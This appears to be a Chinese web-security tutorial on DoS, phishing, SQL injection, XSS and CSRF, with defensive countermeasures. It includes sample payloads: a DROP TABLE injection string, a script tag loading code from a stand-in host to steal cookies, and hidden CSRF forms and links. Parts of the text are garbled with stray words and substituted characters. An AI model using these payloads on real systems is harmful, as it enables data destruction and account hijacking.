Web中常见的攻击方式

Web常见的攻击方式

按照攻击频率占比排序:php

  1. 跨站脚本XSS攻击
  2. SQL注入
  3. DOS攻击
  4. 跨站伪造CSRF
  5. 钓鱼网站

DOS攻击

名为:Denial-of-service attackhtml

原理:攻击者会发送大量的请求,或者模拟大量合法用户的访问,占用服务器资源直至耗尽,致使真正有需求的用户没法访问此网站。前端

好比18年,阮一峰的网站被DDOS攻击。vue

钓鱼网站

用户经过搜索引擎或者跳转连接进入仿冒的网站(UI、域名和正版网站很类似),用户在仿冒网站中输入了用户名和密码,致使帐户信息泄漏。sql

SQL注入

SQL注入是一种代码注入的技术,攻击者能够将恶意SQL语句插入到输入字段中执行。数据库

场景举例:后端

有这样一个功能:网站前端有一个查询输入框,当输入用户的姓名时,查询并展现拥有该姓名的全部用户。当后端接收到查询参数户,作sql语句的拼接,而后执行sql,返回查询结果。浏览器

let username = req.body.username
let sql = "SELECT * FROM users WHERE name ='+ username +'";
exec(sql)
复制代码

当用户输入的查询参数若是是这样的字符时:安全

a';DROP TABLE users;SELECT * FROM userinfo WHERE 't' ='t
复制代码

则在服务器查询时至关于执行了:服务器

let sql = "SELECT * FROM users WHERE name = 'a';DROP TABLE users;SELECT * FROM userinfo WHERE 't' ='t'";
复制代码

这样的结果会致使 一次查询就能删除用户库,固然也能作其余任何数据库的操做。

应对措施:

  • 方法1: 使用ORM库,调用API,而不是直接运行SQL语句
  • 方法2: 在运行SQL语句前对拼接的查询字段进行转义

XSS(跨站脚本攻击)

Cross-site scripting。缩写成CSS与层叠样式表缩写的CSS容易混淆,故改称XSS。

因为网站存在漏洞,使得攻击者能够在网站输入恶意代码,并让恶意代码在其余用户浏览器运行,窃取用户信息。

非持久性攻击(反射性攻击)

反射性XSS,也就是被动的非持久性XSS。

诱骗用户点击URL带攻击代码的连接,服务器解析后响应,在返回的响应内容中隐藏和嵌入攻击者的XSS代码,被浏览器执行,从而攻击用户。

场景举例:

  1. 小明逛淘宝,在访问淘宝网时会登陆,会留下浏览器和服务器分别保存认证Cookie用户识别小明的身份。
  2. 攻击者发现了淘宝网的商品搜索栏有XSS漏洞
  3. 攻击者构造连接http://taobao.com/search?q=手机<script>恶意代码</script>并把连接发布到各个社交平台,看成广告并诱惑用户去点击。
  4. 当小明看到广告,点开连接,这时,恶意代码就存在在了小明的浏览器上,因为小明的淘宝处于登陆状态,因此恶意代码能够获取小明的Cookie,故也能到小明的因此信息,并模拟小明的全部操做。

持久性攻击

利用相似于留言板的功能将恶意代码写进数据库,当用户下次访问该网站时,由于网站会从数据库中获取数据展现信息,因此用户只要打开这个网站就会中招。

场景举例:

  1. 攻击者发现淘宝网的商品评论框有XSS漏洞

  2. 攻击者发了一条评论,内容是:“ 该物品买到就是赚到!<script src="http://xss.com/xxx.js">”。这个信息会展现到评论列表中,其中script标签会嵌入页面中。

  3. 其余用户打开该页面时,阅读评论的同时实际上恶意代码已经在偷偷执行。攻击者就会获取用户的Cookie劫持用户信息。

防范措施

  1. 对于富文本编辑器,过滤script等不安全标签
  2. 对用户输入的内容进行转义,好比把<script></script>转义
  3. 代码须要动态展现内容时,用innerText来代替 innerHTML, vue使用v-text取代v-html。
  4. 服务端使用 Set Cookie时,带上HttpOnly字段,阻止JavaScript获取Cookie
  5. 对于上传图片的场景,禁止使用用户填写的图片地址。特别是MarkDown编辑器。

CSRF攻击

Cross-site request forgery,跨站点请求伪造。

攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击的网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕事后台的用户验证,以达到冒充用户对被攻击的网站执行某项操做的目的。

场景举例:

  1. 受害者登陆了淘宝网,并保留了登陆凭证(Cookie)
  2. 攻击者引诱受害者去访问第三方网站 b.com
  3. b.com 会向淘宝网发送一个请求,浏览器会默认带上受害者登陆淘宝时的Cooike
  4. 这时淘宝网接收到请求后,对请求进行验证,并确认是受害者的凭证,误觉得是受害者本身发送的情求。
  5. 这时攻击者就在受害者不知情的状况下,冒充受害者,让淘宝网执行了本身定义的一些操做。

攻击类型

GET类型的CSRF:

一个常见的场景匿名点赞,服务端会根据匿名访问者的IP来区别用户。攻击者把这个点赞接口集成到本身网站的图片里,任何人访问攻击者的网站都至关于给攻击者作了嫁衣帮忙店了一次赞。

<img src="http://zan.example/thumbup?amount=1&for=hacker">
复制代码

POST类型的CSRF:

有些服务器的接口是使用 POST 方法的,因此黑客须要在他的站点上伪造 POST 请求,当用户打开黑客的站点时,是自动提交 POST 请求

<form id= 'hacker-form' action="https://bank.example/withdraw" method=POST>
    <input type="hidden" name="userll" value="hacker" />
    <input type="hidden" name="numberll" value="100" />
</form>
复制代码

在上段代码中,咱们能够看到攻击者在它的页面上构建了一个隐藏的表单,该表单内容就是一个某网站的转帐接口,当用户打开该站点以后,这个表单就会被自动执行提交;当表单被提交以后,服务器会执行转帐操做。所以使用构建自动提交表单的这种返回就,能够自动实现跨站点POST数据提交

连接类型的CSRF:

这种须要用户本身动手点击连接才会触发。这种类型一般会在各个社交平台发布的图片中嵌入恶意连接,或者以广告的形式来诱导用户去点击。

<a href="http://test.com/csrf/withdwaw.php?amount=100&for=hacker" target="_blank">重磅消息!!<a/>
复制代码

因为以前用户登陆了信任的网站A,而且保存了登陆状态。这时只要用户主动访问了上面的这个PHP页面,则表示攻击成功。

防御措施

因为CSRF与XSS不一样,CSRF攻击不会往页面注入恶意脚本,所以攻击者是没法经过CSRF攻击来获取用户页面数据的;主要是找到服务器的漏洞,因此对CSRF来讲攻击能够从提高服务器安全性的方面来防御。

1. 利用好Cookie的SameSite属性

由于攻击者会利用用户登陆状态来发起CSRF攻击,而Cookie正式浏览器和服务器之间维护登陆状态的一个关键数据,所以要阻止CSRF攻击,须要在Cookie上设置一些东西。

而CSRF攻击一般是第三方站点发起的,所以能够利用Cookie 中的 SameSite 属性来阻止CSRF攻击

2. 在Cookie里写入csrftoken的值

<form action="https://time.geekbang.org/sendcoin" method="POST">
    <input type="hidden" csrftoken="afe3f94cnisar">
    <input type="text" name="username" value="">
    <input type="password" name="password" value="">
 </form>
复制代码

当用户提交表单或者发送Ajax情求时,在情求参数或者请求头带上以前埋入的csrftoken。请求到服务器后服务器会从用户的请求参数里拿出token和请求自带的cookie里的token作对比,若是都存在且一致,则请求经过。

由于这个token是埋在该网站的,攻击者从第三方网站伪造请求时是得不到这个token因此没法在请求参数中带上token,请求就会失败

相关文章
相关标签/搜索